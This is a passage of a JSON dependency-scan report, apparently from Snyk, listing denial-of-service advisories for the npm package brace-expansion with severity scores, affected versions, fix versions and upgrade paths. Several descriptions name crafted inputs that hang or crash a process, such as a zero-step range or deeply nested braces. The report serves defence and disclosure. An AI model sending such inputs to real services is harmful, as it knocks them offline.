"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
